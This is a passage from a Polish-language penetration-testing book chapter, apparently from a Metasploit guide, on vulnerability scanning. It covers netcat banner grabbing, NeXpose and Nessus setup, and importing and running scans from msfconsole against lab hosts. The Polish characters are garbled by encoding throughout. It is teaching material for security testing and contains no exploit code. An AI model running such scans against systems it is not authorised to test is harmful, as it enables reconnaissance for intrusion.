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4
Skanowanie luk

w zabezpieczeniach

Skaner luk w zabezpieczeniach (ang. vulnerability scanner) jest zautomatyzo-
wanym programem przeznaczonym do wyszukiwania s	abych punktów kom-
puterów, systemów komputerowych, sieci oraz aplikacji. Program ten sonduje
system, wysy	aj�c do niego poprzez sie� porcj� danych i analizuj�c otrzymane
odpowiedzi. Ma to na celu enumeracj� wszelkich luk w zabezpieczeniach celu
poprzez wykorzystanie jako punktu odniesienia w	asnej bazy danych luk w za-
bezpieczeniach.

Ró�ne systemy operacyjne zazwyczaj odmiennie reaguj� na wysy	ane próbki
sieciowe z uwagi na wykorzystywanie ró�nych implementacji sieciowych. Te
unikatowe odpowiedzi s	u�� jako odcisk palca (ang. fingerprint), który jest wy-
korzystywany przez skaner luk w zabezpieczeniach do okre�lenia wersji systemu
operacyjnego, a nawet poziomu zainstalowanych poprawek. Skaner luk w za-
bezpieczeniach mo�e równie� wykorzystywa� zestawy po�wiadcze� u�ytkowni-
ka w celu zalogowania si� do zdalnego systemu i dokonania enumeracji opro-
gramowania i us	ug, co pozwala okre�li�, czy system jest za	atany. Na podstawie
uzyskanych wyników przedstawia raport wyliczaj�cy wszystkie luki w zabezpie-
czeniach wykryte w danym systemie. Taki raport mo�e by� u�yteczny zarówno
dla administratorów sieci, jak i dla pentesterów.
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Skanery luk w zabezpieczeniach zasadniczo generuj� du�y ruch w sieci i dla-
tego nie s� zazwyczaj wykorzystywane w testach penetracyjnych, kiedy jednym
z za	o�e� jest pozostanie niewykrytym. Je�li jednak przeprowadzasz test pene-
tracyjny, w przypadku którego wykrycie nie stanowi problemu, to taki skaner
mo�e zaoszcz�dzi� Ci r�cznego sondowania systemów w celu okre�lenia luk w za-
bezpieczeniach oraz poziomów zainstalowanych poprawek.

Bez wzgl�du na to, czy korzystasz ze zautomatyzowanych skanerów, czy wy-
konujesz te dzia	ania r�cznie, skanowanie jest zawsze jednym z najbardziej istot-
nych elementów w procesie przeprowadzania testów penetracyjnych. Je�li zo-
stanie ono wykonane dok	adnie, b�dzie stanowi	o najwi�ksz� warto�� dla Twojego
klienta. W tym rozdziale omówimy szereg skanerów luk w zabezpieczeniach
oraz sposoby ich integracji z Metasploit. Wska�emy równie� kilka modu	ów
pomocniczych w Metasploit Framework, które mog� lokalizowa� okre�lone luki
w zabezpieczeniach systemów zdalnych.

Podstawowe skanowanie luk
w zabezpieczeniach

Przyjrzyjmy si�, jak dzia	a skanowanie na najbardziej podstawowym poziomie.
W zamieszczonym poni�ej listingu zastosujemy netcat do przechwycenia baneru
z celu o adresie IP 192.168.1.203. Przychwytywanie banerów (ang. banner grabbing)
polega na po	�czeniu si� z us	ug� zdalnej sieci i odczytaniu zwracanego identy-
fikatora (baneru) tej us	ugi. Wiele us	ug sieciowych, takich jak WWW, transfer
plików oraz serwery pocztowe, zwraca swoje banery natychmiast po nawi�zaniu
z nimi po	�czenia lub w odpowiedzi na okre�lone polecenie. Po	�czymy si� te-
raz z serwerem WWW na porcie TCP 80 i wy�lemy ��danie GET HTTP, które
umo�liwi nam przyjrzenie si� nag	ówkowi informacji zwracanej przez ten zdal-
ny serwer w odpowiedzi na nasze ��danie.

root@bt:/opt/framework3/msf3# nc 192.168.1.203 80
GET HTTP 1/1
HTTP/1.1 400 Bad Request

� Server: Microsoft-IIS/5.1

Informacja zwrócona w punkcie � informuje nas, �e system dzia	aj�cy na
porcie 80 jest serwerem WWW opartym na Microsoft IIS 5.1. Uzbrojeni w t�
informacj� mogliby�my wykorzysta� skaner luk w zabezpieczeniach, tak jak po-
kazuje to rysunek 4.1, do okre�lenia, czy ta wersja IIS posiada jakie� luki w za-
bezpieczeniach i czy ten konkretny serwer ma zainstalowane poprawki.
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Rysunek 4.1. Wyniki skanowania luk w zabezpieczeniach docelowego serwera WWW

Oczywi�cie w praktyce nie jest to takie proste. Skanery luk w zabezpiecze-
niach cz�sto generuj� wiele wyników fa�szywie pozytywnych (ang. false positives,
np. raportowanie luki w zabezpieczeniach tam, gdzie jej nie ma) oraz fa�szywie
negatywnych (ang. false negatives, np. niewykrycie luki w zabezpieczeniach
tam, gdzie ona istnieje). Ma to zwi�zek z subtelnymi ró�nicami w konfiguracji
systemów i aplikacji. Ponadto twórcy skanerów luk w zabezpieczeniach maj�
motywacj�, by skanery zg	asza	y jak najwi�cej pozytywnych wyników, poniewa�
im wi�cej „trafie�”, tym lepiej wygl�da to dla potencjalnego nabywcy. Skanery luk
w zabezpieczeniach s� na tyle dobre, na ile dobre s� ich bazy danych. Mo�na je
równie� 	atwo oszuka� za pomoc� fa	szywych banerów lub niespójnych konfiguracji.

Przyjrzyjmy si� kilku najbardziej u�ytecznym skanerom luk w zabezpiecze-
niach, takim jak NeXpose, Nessus oraz inne wyspecjalizowane skanery.

Skanowanie za pomoc� NeXpose
NeXpose to dostarczony przez Rapid7 skaner luk w zabezpieczeniach, który ska-
nuje sieci w celu identyfikacji dzia	aj�cych w nich urz�dze� oraz przeprowadza
kontrol�, �eby okre�li� s	abe punkty bezpiecze�stwa systemów operacyjnych
i aplikacji. Nast�pnie dane uzyskane podczas skanowania s� analizowane i prze-
twarzane do za	�czenia w ró�nych raportach.

Rapid7 oferuje wiele wersji skanera NeXpose, jednak my skorzystamy z edycji
Community, poniewa� jest ona darmowa. Je�li zamierzasz wykorzystywa� NeXpose
w celach komercyjnych, sprawd� informacje na temat ró�nych wersji tej aplikacji,
ich funkcji oraz cen na stronie Rapid7 (http://www.rapid7.com/vulnerability-scanner.jsp).

Celem naszego skanowania b�dzie domy�lna instalacja Windows XP SP2, skon-
figurowana wed	ug wskazówek z za	�cznika A. Najpierw wykonamy podstawowe
skanowanie jawne naszego celu i zaimportujemy wyniki do Metasploit. T� sek-
cj� zako�czymy omówieniem sposobu przeprowadzania skanowania NeXpose
bezpo�rednio z poziomu msfconsole zamiast korzystania z interfejsu WWW, co
eliminuje konieczno�� importowania wyników skanowania.
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Konfiguracja
Po zainstalowaniu NeXpose Community otwórz przegl�dark� i wpisz w pasku
adresowym https://<twój_adres_ip>:3780. Zaakceptuj certyfikat z podpisem w	a-
snym NeXpose i zaloguj si�, u�ywaj�c po�wiadcze�, które poda	e� podczas instalacji.
Powinien si� teraz uruchomi� interfejs podobny do pokazanego na rysunku 4.2.
(Dok	adne instrukcje instalacji NeXpose znajdziesz na stronie Rapid7).

Rysunek 4.2. Zak�adka Home startowego interfejsu NeXpose

Na górnym pasku na g	ównej stronie NeXpose dost�pnych jest kilka zak	adek:

� Zak	adka Assets (zasoby) w punkcie � wy�wietla szczegó	y
przeskanowanych komputerów i innych urz�dze� w Twojej sieci.

� Zak	adka Reports (raporty) w punkcie � zawiera list� wygenerowanych
raportów ze skanowania luk w zabezpieczeniach.

� Zak	adka Vulnerabilities (luki w zabezpieczeniach) w punkcie � zawiera
szczegó	y dotycz�ce wszelkich luk w zabezpieczeniach, wykrytych
podczas przeprowadzonych skanowa�.

� Zak	adka Administration (administrowanie) w punkcie � umo�liwia
konfiguracj� ró�nych opcji.

Przyciski znajduj�ce si� w g	ównym obszarze interfejsu umo�liwiaj� wyko-
nywanie typowych zada�, takich jak tworzenie nowego �rodowiska lub definio-
wanie nowego skanowania luk w zabezpieczeniach.

Kreator nowego �rodowiska
Zanim rozpoczniesz skanowanie luk w zabezpieczeniach za pomoc� NeXpose,
musisz skonfigurowa� �rodowisko (ang. site) — logiczne zestawienie elementów,
takich jak okre�lona podsie�, grupa serwerów, a nawet pojedyncze stacje robocze.
Takie �rodowiska b�d� nast�pnie skanowane przez NeXpose, a dla ka�dego kon-
kretnego �rodowiska mo�na zdefiniowa� ró�ne rodzaje skanowania.



S k a n o w a n i e  l u k  w  z a b e z p i e c ze n i a ch 69

 1. Aby utworzy� nowe �rodowisko, kliknij przycisk New Site w zak	adce
Home skanera NeXpose, wprowad� nazw� strony (pole Name) oraz krótki
opis (pole Description), a nast�pnie kliknij przycisk Next.

 2. Na kolejnym etapie, przedstawionym na rysunku 4.3, mo�esz szczegó	owo
zdefiniowa� swoje cele. Mo�esz doda� pojedynczy adres IP, zakres
adresów IP, nazwy hostów itd. Mo�esz równie� wy	�czy� ze skanowania
urz�dzenia, takie jak drukarki. (Drukarki zazwyczaj niezbyt dobrze
reaguj� na skanowanie. Mieli�my do czynienia z przypadkami, kiedy
proste skanowanie luk w zabezpieczeniach powodowa	o uruchomienie
w drukarce kolejki drukowania ponad miliona czarnych stron!).
Po zako�czeniu dodawania (pole Included Devices) i wy	�czania
(pole Excluded Devices) urz�dze� ze skanowania kliknij przycisk Next.

Rysunek 4.3. Dodawanie urz�dze� do nowego �rodowiska NeXpose

 3. Teraz masz do wyboru kilka ró�nych szablonów skanowania
(Scan Template), takich jak Discovery Scan (skanowanie ujawniaj�ce)
lub Penetration test (test penetracyjny). Mo�esz równie� wybra� silnik
skanowania (Scan Engine) oraz zdefiniowa� harmonogram automatycznego
skanowania (Scan Schedule). Dla celów niniejszego omówienia procedury
pozostaw warto�ci domy�lne i kliknij przycisk Next.

 4. Je�li posiadasz po�wiadczenia (ang. credentials) dla �rodowiska, które
chcesz skanowa�, to mo�esz je doda� na tym etapie. Po�wiadczenia mog�
pomóc w wygenerowaniu bardziej dok	adnych i kompletnych wyników
dzi�ki dog	�bnej enumeracji zainstalowanego oprogramowania i polityki
systemu danego celu.
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 5. W zak	adce Credentials kliknij przycisk New Login, podaj nazw�
u�ytkownika i has	o dla adresu IP, który chcesz skanowa�, a nast�pnie
kliknij Test Login, �eby je zweryfikowa�. Zapisz po�wiadczenia.

 6. Na koniec kliknij przycisk Save, aby zako�czy� dzia	anie kreatora nowego
�rodowiska i powróci� do zak	adki Home. W tej zak	adce powinno by� teraz
widoczne nowe �rodowisko, które w	a�nie doda	e�. Pokazuje to rysunek 4.4.

Rysunek 4.4. Zak�adka Home, na której wida� informacj� o nowo utworzonym
�rodowisku

Kreator nowego skanowania r�cznego
Je�li skonfigurowa	e� ju� nowe �rodowisko, mo�esz przygotowa� pierwsze
skanowanie:

 1. Kliknij przycisk New Manual Scan (nowe skanowanie r�czne), widoczny
na rysunku 4.4. Powinno zosta� wy�wietlone okno dialogowe Start New
Scan (rozpocznij nowe skanowanie), tak jak na rysunku 4.5. W tym oknie
definiujesz elementy, które chcesz skanowa� (Included assets), oraz te,
które chcesz ze skanowania wy	�czy� (Excluded assets). W tym przyk	adzie
b�dziemy skanowa� nasz domy�lny system Windows XP.

 2. Sprawd� dobrze docelowy adres IP, aby upewni� si�, �e nie przeskanujesz
przypadkowo niew	a�ciwego urz�dzenia lub sieci. Kliknij przycisk Start Now,
�eby rozpocz��.

 3. NeXpose powinien automatycznie od�wie�a� bie��c� stron� w miar�
post�pów skanowania. Poczekaj, a� status dla Scan Progress (post�p
skanowania) oraz Discovered Assets (odkryte zasoby) b�dzie wskazywa	
Completed (zako�czone), tak jak wida� to na rysunku 4.6. W sekcji
Scan Progress mo�esz zobaczy�, �e skanowanie naszego pojedynczego
urz�dzenia doprowadzi	o do wykrycia 268 luk w zabezpieczeniach.
Z kolei sekcja Discovered Assets zawiera wi�cej informacji na temat celu,
takich jak nazwa urz�dzenia oraz jego system operacyjny. Przejd� teraz
do zak	adki Reports.



S k a n o w a n i e  l u k  w  z a b e z p i e c ze n i a ch 71

Rysunek 4.5. Okno dialogowe konfiguracji skanowania w NeXpose

Rysunek 4.6. Uko�czone skanowanie w NeXpose

Kreator nowego raportu
Je�li uruchomi	e� NeXpose po raz pierwszy i uko�czy	e� tylko jedno skanowanie,
to zak	adka Reports powinna pokazywa�, �e nie masz wygenerowanego �adnego
raportu.

 1. Aby uruchomi� kreatora nowego raportu, kliknij przycisk New Report,
tak jak pokazuje to rysunek 4.7.
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Rysunek 4.7. Zak�adka Reports skanera NeXpose

 2. W polu Report name wprowad� nazw�, jak� wybra	e� dla danego raportu.
W polu Report format wybierz opcj� NeXpose Simple XML Report, co umo�liwi
Ci zaimportowanie wyników skanowania do Metasploit. Mo�esz równie�
wybra� szablon raportu w polu Report template oraz skonfigurowa� odpowiedni�
stref� czasow� w polu Report time zone, je�li na przyk	ad przeprowadzasz
swój test penetracyjny w podró�y. Wspomniane opcje przedstawione
zosta	y na rysunku 4.8. Kliknij przycisk Next, je�li chcesz kontynuowa�.

Rysunek 4.8. Wybór nazwy i formatu raportu

 3. W kolejnym oknie dodaj urz�dzenia, które maj� by� w	�czone do raportu,
klikaj�c Select Sites (wybierz �rodowiska) i dodaj�c zakres przeskanowanego
celu, tak jak pokazuje to rysunek 4.9. Nast�pnie kliknij Save (zapisz).

Rysunek 4.9. Wybór �rodowiska, które ma by� za��czone w raporcie
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 4. W oknie dialogowym Select Devices wybierz elementy docelowe, które
maj� by� za	�czone w Twoim raporcie. Nast�pnie kliknij Save.

 5. B�d�c na powrót w oknie Report Configuration (konfiguracja raportu),
kliknij Save, aby zaakceptowa� pozosta	e warto�ci domy�lne dla danego
raportu. Na li�cie w zak	adce Reports powinien teraz pojawi� si� nowo
utworzony raport, tak jak przedstawia to rysunek 4.10. (Pami�taj, �eby
zapisa� plik raportu, aby móc u�y� go w Metasploit Framework).

Rysunek 4.10. Zak�adka Reports wy�wietlaj�ca list� raportów

Importowanie raportu do Metasploit Framework
Po przeprowadzeniu pe	nego skanowania luk w zabezpieczeniach za pomoc�
aplikacji NeXpose musisz zaimportowa� wyniki do Metasploit. Zanim jednak to
zrobisz, powiniene� utworzy� now� baz� danych, stosuj�c polecenie db_connect
z poziomu msfconsole. Po utworzeniu bazy danych mo�esz zaimportowa� plik
XML z NeXpose za pomoc� polecenia db_import. Metasploit automatycznie wy-
kryje, �e dany plik pochodzi z aplikacji NeXpose, i zaimportuje przeskanowanego
hosta. Teraz mo�esz zweryfikowa� poprawno�� przeprowadzonego importu, wpi-
suj�c polecenie db_hosts. (Wymienione czynno�ci przedstawia poni�szy listing).
Jak mo�esz zauwa�y� w punkcie �, Metasploit posiada teraz informacje o 268
lukach w zabezpieczeniach, wykrytych podczas przeprowadzonego przez Ciebie
skanowania.

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import /tmp/host_195.xml
[*] Importing 'NeXpose Simple XML' data
[*] Importing host 192.168.1.195
[*] Successfully imported /tmp/host_195.xml

msf > db_hosts -c address,svcs,vulns

Hosts
=====
address        Svcs  Vulns  Workspace
-------        ----  -----  ---------
192.168.1.195  8     268 � default
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Aby wy�wietli� wszystkie szczegó	y luk w zabezpieczeniach zaimportowanych
do Metasploit, w tym liczb� typowych luk w zabezpieczeniach i ekspozycji (ang.
Common Vulnerabilities and Exposures — CVE), zastosuj poni�sze polecenie:

msf > db_vulns

Jak widzisz, przeprowadzenie jawnego skanowania luk w zabezpieczeniach
z pe	nymi po�wiadczeniami mo�e dostarczy� niesamowitej ilo�ci informacji — w tym
przypadku odnaleziono 268 luk w zabezpieczeniach. Jednak z oczywistych wzgl�-
dów by	o to skanowanie charakteryzuj�ce si� wysokim poziomem szumów, które
prawdopodobnie przyci�gn�	y du�o uwagi. Tego rodzaju skanowania najlepiej
sprawdzaj� si� w testach penetracyjnych niewymagaj�cych potajemnych dzia	a�.

Uruchamianie NeXpose z poziomu MSFconsole
Uruchamianie aplikacji NeXpose z poziomu interfejsu graficznego WWW do-
skonale sprawdza si� w przypadku precyzyjnego skanowania luk w zabezpiecze-
niach oraz generowania raportów. Je�li jednak wolisz pozosta� przy msfconsole,
tak�e mo�esz przeprowadzi� pe	ne skanowanie luk w zabezpieczeniach — dzi�ki
wtyczce NeXpose do	�czonej do Metasploit.

Aby zademonstrowa� ró�nic� w wynikach pomi�dzy po�wiadczonym i nie-
po�wiadczonym skanowaniem, uruchomimy teraz skanowanie z Metasploit bez
okre�lania nazwy u�ytkownika i has	a dla docelowego systemu. Zanim rozpocz-
niesz, usu� wszystkie istniej�ce bazy danych za pomoc� polecenia db_destroy,
utwórz now� baz� danych w Metasploit za pomoc� polecenia db_connect, a na-
st�pnie za	aduj wtyczk� NeXpose, stosuj�c polecenie load nexpose. Ilustruje to
poni�szy listing.

msf > db_destroy postgres:toor@127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:

msf > db_connect postgres:toor@127.0.0.1/msf3

msf > load nexpose

[*] NeXpose integration has been activated
[*] Successfully loaded plugin: nexpose

Przy za	adowanej wtyczce NeXpose przyjrzyj si� poleceniom za	adowanym
konkretnie dla tego skanera luk w zabezpieczeniach. W tym celu wprowad�
komend� help. Na górze listy powiniene� teraz zobaczy� szereg nowych pole-
ce� przeznaczonych specjalnie do uruchamiania NeXpose.

msf > help
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Zanim uruchomisz swoje pierwsze skanowanie z poziomu msfconsole, mu-
sisz po	�czy� si� z instalacj� NeXpose. Wpisz polecenie nexpose_connect -h, aby
wy�wietli� informacje o sposobie nawi�zywania po	�czenia. Dodaj swoj� nazw�
u�ytkownika oraz has	o i adres hosta. Zaakceptuj równie� ostrze�enie o certyfi-
kacie SSL, dodaj�c argument ok na ko�cu wiersza:

msf > nexpose_connect -h
[*] Usage:
[*]        nexpose_connect username:password@host[:port] <ssl-confirm>
[*]         -OR-
[*]        nexpose_connect username password host port <ssl-confirm>
msf > nexpose_connect dookie:s3cr3t@192.168.1.206 ok
[*] Connecting to NeXpose instance at 192.168.1.206:3780 with username
    �dookie...

Teraz, aby zainicjowa� skanowanie, wprowad� polecenie nexpose_scan i po-
daj docelowy adres IP, tak jak zosta	o to pokazane poni�ej. W tym przyk	adzie
skanujemy pojedynczy adres IP, ale mo�esz równie dobrze poda� jako argument
zakres hostów (192.168.1.1-254) lub podsie� w notacji CIDR (192.168.1.0/24).

msf > nexpose_scan 192.168.1.195
[*] Scanning 1 addresses with template pentest-audit in sets of 32
[*] Completed the scan of 1 addresses
msf >

Kiedy skanowanie NeXpose zostanie zako�czone, jego wyniki powinny zo-
sta� zapisane w bazie danych, któr� utworzy	e� wcze�niej. Aby przejrze� te wy-
niki, zastosuj polecenie db_hosts, tak jak pokazuje to kolejny listing. (W tym
przyk	adzie listing zosta	 skrócony poprzez zastosowanie filtrowania po kolum-
nie adresu [ang. address]).

msf > db_hosts -c address
Hosts
=====
address        Svcs  Vulns  Workspace
-------        ----  -----  ---------
192.168.1.195  8     7      default
msf >

Jak mo�esz zauwa�y�, NeXpose wykry	 7 luk w zabezpieczeniach. Wpro-
wad� polecenie db_vulns, aby wy�wietli� znalezione luki:

msf > db_vulns
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Chocia� to skanowanie wykry	o znacznie mniej luk w zabezpieczeniach w sto-
sunku do 268 znalezionych w poprzednim skanowaniu wykonanym poprzez in-
terfejs WWW z podaniem po�wiadcze�, to i tak te informacje powinny by� wy-
starczaj�ce do rozpocz�cia eksploatacji danego systemu.

Skanowanie za pomoc� aplikacji Nessus
Skaner luk w zabezpieczeniach Nessus, dostarczony przez Tenable Security
(http://www.tenable.com/), jest jednym z najpopularniejszych. Wtyczka Nessus
do Metasploit umo�liwia Ci przeprowadzanie skanowania i pobieranie informacji
ze skanów Nessusa za pomoc� konsoli. Jednak w poni�szych przyk	adach b�dziemy
importowa� wyniki skanowania Nessusa niezale�nie. Korzystaj�c z Nessusa 4.4.1
na licencji Home Feed1, uruchomimy skanowanie z po�wiadczeniami tego samego
celu, który wykorzystywali�my w poprzednich przyk	adach w tym rozdziale. Im
wi�cej narz�dzi wykorzystasz do sprecyzowania przysz	ych ataków na wst�p-
nych etapach testu penetracyjnego, tym lepiej.

Konfiguracja skanera Nessus
Po pobraniu i zainstalowaniu skanera Nessus otwórz przegl�dark� internetow�
i wpisz w pasku adresowym https://<twój_adres_ip>:8834. Zaakceptuj certyfikat
i zaloguj si�, u�ywaj�c po�wiadcze�, które utworzy	e� w trakcie instalacji. Powinno
wy�wietli� si� g	ówne okno aplikacji Nessus, pokazane na rysunku 4.11.

Rysunek 4.11. G�ówne okno skanera Nessus

                                                          
1 Darmowa licencja dla u�ytkowników domowych — przyp. t�um.
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Po zalogowaniu wy�wietlana jest sekcja Reports (raporty), w której powinna
znajdowa� si� lista wszystkich poprzednio przeprowadzonych skanowa� luk
w zabezpieczeniach. Na znajduj�cym si� na samej górze g	ównym pasku narz�dzi
dost�pne s� jeszcze zak	adki: Scans (skanowania — s	u�y do tworzenia i prze-
gl�dania zada� zwi�zanych ze skanowaniem), Policies (polityki — konfigurowa-
nie ró�nych wtyczek stosowanych podczas skanowania) oraz Users (u�ytkownicy
— dodawanie kont u�ytkowników do serwera Nessus).

Tworzenie polityki skanowania Nessusa
Zanim rozpoczniesz skanowanie, musisz najpierw stworzy� polityk� skanowania
(ang. scan policy) Nessusa. W zak	adce Policies kliknij zielony przycisk Add, aby
otworzy� okno konfiguracji polityki, pokazane na rysunku 4.12.

Rysunek 4.12. Okno konfiguracji polityki skanowania Nessusa

W tym oknie mo�esz zobaczy� wiele dost�pnych opcji. Wszystkie one zo-
sta	y opisane w dokumentacji Nessusa.

 1. Wpisz nazw� skanowania, tak jak pokazuje to rysunek 4.13. U�yta w naszym
przyk	adzie nazwa The_Works b�dzie okre�la	a polityk� wykorzystywania
przez skaner Nessus wszystkich p	aszczyzn kontroli. Kliknij Next.

 2. Podobnie jak w przeprowadzanym poprzednio skanowaniu za pomoc�
aplikacji NeXpose, skonfigurujemy wykorzystanie po�wiadcze� (ang.
credentials) logowania systemu Windows. Zapewni to bardziej kompletny
obraz luk w zabezpieczeniach, obecnych w docelowym systemie.
Wpisz po�wiadczenia logowania systemu docelowego i kliknij Next.
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Rysunek 4.13. Zak�adka General — ogólna konfiguracja polityki

 3. W zak	adce Plugins (wtyczki) masz do wyboru szereg ró�nych wtyczek
skanera Nessus dla systemów Windows, Linux, BSD i innych. Je�li
przyk	adowo wiesz, �e b�dziesz przeprowadza	 skanowanie jedynie
systemów Windows, to mo�esz dla pierwszego przebiegu skanowania
usun�� z listy wiele niepotrzebnych wtyczek. Dla celów naszego skanowania
wybierzemy wszystkie wtyczki, klikaj�c Enable All (na rysunku 4.14
w lewym dolnym rogu). Teraz kliknij Next.

Rysunek 4.14. Zak�adka Plugins — wybór wtyczek Nessusa wykorzystywanych
podczas skanowania
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 4. Ko�cowym etapem definiowania nowej polityki jest zak	adka Preferences
(preferencje). Mo�esz tutaj skonfigurowa� pomijanie skanowania urz�dze�
wra�liwych, takich jak drukarki sieciowe, skonfigurowa� zapisywanie
wyników do zewn�trznej bazy danych, poda� po�wiadczenia logowania
i wiele innych rzeczy. Kiedy zako�czysz konfigurowanie tej zak	adki,
kliknij Submit, aby zapisa� nowo utworzon� polityk�. Polityka ta powinna
pojawi� si� na li�cie w zak	adce Policies, tak jak pokazuje to rysunek 4.15.

Rysunek 4.15. Nowo dodana polityka skanera Nessus

Uruchamianie skanowania za pomoc� Nessusa
Je�li utworzy	e� ju� polityk� skanowania, mo�esz rozpocz�� konfiguracj� kon-
kretnego skanowania. Wybierz zak	adk� Scans i kliknij przycisk Add, aby
otworzy� okno konfiguracji. Wi�ksza cz��� konfiguracji Nessusa zawarta jest
w politykach skanowania, wi�c kiedy definiujesz skanowanie, to wprowadzasz
jego nazw�, wybierasz odpowiedni� polityk� oraz okre�lasz cele. Pokazuje to
rysunek 4.16.

Rysunek 4.16. Konfigurowanie skanowania Nessusa
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W naszym przyk	adzie skanujemy tylko jednego hosta, ale mo�esz równie
dobrze wprowadzi� zakres adresów IP w notacji CIDR lub te� za	adowa� plik
zawieraj�cy adresy IP celów, które chcesz przeskanowa�. Kiedy zako�czysz
konfiguracj�, kliknij Launch Scan (uruchom skanowanie).

Raporty skanera Nessus
Po zako�czeniu skanowania nie b�dzie ono ju� widoczne w zak	adce Scans, za
to w zak	adce Reports pojawi si� nowy wpis zawieraj�cy nazw� skanowania, jego
status oraz ostatni� aktualizacj�. Zaznacz wybrany raport i kliknij Browse, aby
otworzy� podsumowanie skanowania pokazuj�ce poziomy dotkliwo�ci znalezio-
nych luk w zabezpieczeniach. Przedstawia to rysunek 4.17.

Rysunek 4.17. Podsumowanie raportu z naszego skanowania za pomoc� Nessusa

UWAGA Pami�taj, �e to skanowanie by�o przeprowadzone z podaniem po�wiadcze	 sys-
temu Windows, wi�c Nessus znalaz� du�o wi�cej luk w zabezpieczeniach, ni�
mia�oby to miejsce w przypadku anonimowego skanowania.

Importowanie wyników do Metasploit Framework
Zaimportujmy teraz wyniki naszego skanowania do Metasploit Framework.

 1. Kliknij przycisk Download Report w zak	adce Reports, aby zapisa� wyniki
na dysk twardy. Domy�lny format raportów skanera Nessus, czyli .nessus,
mo�e by� przetwarzany przez Metasploit. Je�li wi�c zostaniesz poproszony
o wybór domy�lnego formatu, kliknij Submit, aby zatwierdzi�.

 2. Za	aduj msfconsole, utwórz now� baz� danych za pomoc� polecenia
db_connect i zaimportuj plik wyników Nessusa, wpisuj�c polecenie
db_import z podaniem nazwy pliku raportu.
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msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import /tmp/nessus_report_Host_195.nessus
[*] Importing 'Nessus XML (v2)' data
[*] Importing host 192.168.1.195

 3. Aby zweryfikowa�, czy przeskanowany host oraz dane dotycz�ce luk
w zabezpieczeniach zosta	y zaimportowane poprawnie, zastosuj polecenie
db_hosts, tak jak pokazuje to kolejny listing. Listing ten powinien zawiera�
zwi�z	e informacje na temat adresu IP celu (kolumna address), liczby
wykrytych us	ug (kolumna svcs) oraz liczby wykrytych przez skaner
Nessus luk w zabezpieczeniach (kolumna vulns).

msf > db_hosts -c address,svcs,vulns

Hosts
=====
address        svcs  vulns
-------        ----  -----
192.168.1.195  18    345

 4. Je�li chcesz uzyska� pe	n� list� zawieraj�c� dane dotycz�ce luk
w zabezpieczeniach, zaimportowane do Metasploit, zastosuj polecenie
db_vulns bez podawania �adnych argumentów. Przedstawia to poni�szy
listing.

msf > db_vulns
[*] Time: Wed Mar 09 03:40:10 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10916 refs=OSVDB-755
[*] Time: Wed Mar 09 03:40:10 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10915 refs=OSVDB-754
[*] Time: Wed Mar 09 03:40:11 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10913 refs=OSVDB-752
[*] Time: Wed Mar 09 03:40:12 UTC 2011 Vuln: host=192.168.1.195
name=NSS-10114 refs=CVE-1999-0524,OSVDB-94,CWE-200
[*] Time: Wed Mar 09 03:40:13 UTC 2011 Vuln: host=192.168.1.195
name=NSS-11197 refs=CVE-2003-0001,BID-6535

Posiadanie dost�pu do tych referencji na ko�cowym etapie testu penetra-
cyjnego mo�e by� bardzo pomocne w przygotowywaniu raportu dla klienta.

Skanowanie za pomoc� Nessusa z poziomu Metasploit
Je�li nie masz ochoty porzuca� wygody korzystania z wiersza polece� na rzecz
interfejsu graficznego, to mo�esz skorzysta� w Metasploit z wtyczki Nessus
Bridge (http://blog.zate.org/nessus-plugin-dev/) dostarczonej przez Zate. Wtyczka
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Nessus Bridge umo�liwia ca	kowit� kontrol� Nessusa z poziomu Metasploit,
uruchamianie skanowania, interpretacj� wyników oraz uruchamianie ataków na
podstawie luk w zabezpieczeniach wykrytych przez Nessusa.

 1. Podobnie jak w poprzednich przyk	adach, usu� najpierw istniej�c� baz�
danych za pomoc� polecenia db_destroy i utwórz now� baz�, stosuj�c
polecenie db_connect.

 2. Za	aduj wtyczk� Nessus, wpisuj�c polecenie load nessus, tak jak zosta	o
to pokazane poni�ej.

msf > db_destroy postgres:toor@127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > load nessus
[*] Nessus Bridge for Metasploit 1.1
[+] Type nessus_help for a command listing
[+] Exploit Index - (/root/.msf3/nessus_index) -  is valid.
[*] Successfully loaded plugin: Nessus

 3. Wpisuj�c polecenie nessus_help, uzyskasz list� wszystkich komend
obs	ugiwanych przez t� wtyczk�. Nessus Bridge jest stale rozwijany
i aktualizowany, warto wi�c od czasu do czasu sprawdzi�, czy zosta	y
dodane jakie� nowe funkcje.

 4. Zanim rozpoczniesz skanowanie za pomoc� wtyczki Nessus Bridge,
musisz najpierw uwierzytelni� si� na serwerze Nessusa za pomoc�
polecenia nessus_connect. Przedstawia to poni�szy listing.

msf > nessus_connect dookie:s3cr3t@192.168.1.101:8834 ok
[*] Connecting to https://192.168.1.101:8834/ as dookie
[*] Authenticated

 5. Podobnie jak w przypadku graficznego interfejsu Nessusa, skanowanie
nale�y zainicjowa� z wykorzystaniem zdefiniowanej polityki okre�lonej
numerem ID. Aby wy�wietli� list� dost�pnych na serwerze polityk
skanowania, zastosuj polecenie nessus_policy_list:

msf > nessus_policy_list
[+] Nessus Policy List

ID   Name                          Comments
--   ----                          --------
-4   Internal Network Scan
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-3   Web App Tests
-2   Prepare for PCI DSS audits
-1   External Network Scan
2    The_Works

 6. Wybierz ID polityki, któr� chcesz zastosowa� do skanowania, i uruchom
nowe skanowanie za pomoc� polecenia nessus_scan_new, podaj�c numer
polityki, nazw� skanowania oraz docelowy adres IP. Przedstawia to
poni�szy listing.

msf > nessus_scan_new
[*] Usage:

[*]        nessus_scan_new <policy id> <scan name> <targets>
[*]        use nessus_policy_list to list all available policies
msf > nessus_scan_new 2 bridge_scan 192.168.1.195
[*] Creating scan from policy number 2, called "bridge_scan" and scanning
    �192.168.1.195
[*] Scan started.  uid is d2f1fc02-3b50-4e4e-ab8f-
    �38b0813dd96abaeab61f312aa81e

 7. Podczas wykonywania skanowania mo�esz sprawdzi� jego status
za pomoc� polecenia nessus_scan_status. Je�li polecenie zwróci status
No Scans Running (nie jest wykonywane �adne skanowanie), tak jak
pokazuje to kolejny przyk	ad, to skanowanie zosta	o zako�czone.

msf > nessus_scan_status
[*] No Scans Running.

 8. Po zako�czeniu skanowania mo�esz wy�wietli� list� dost�pnych raportów
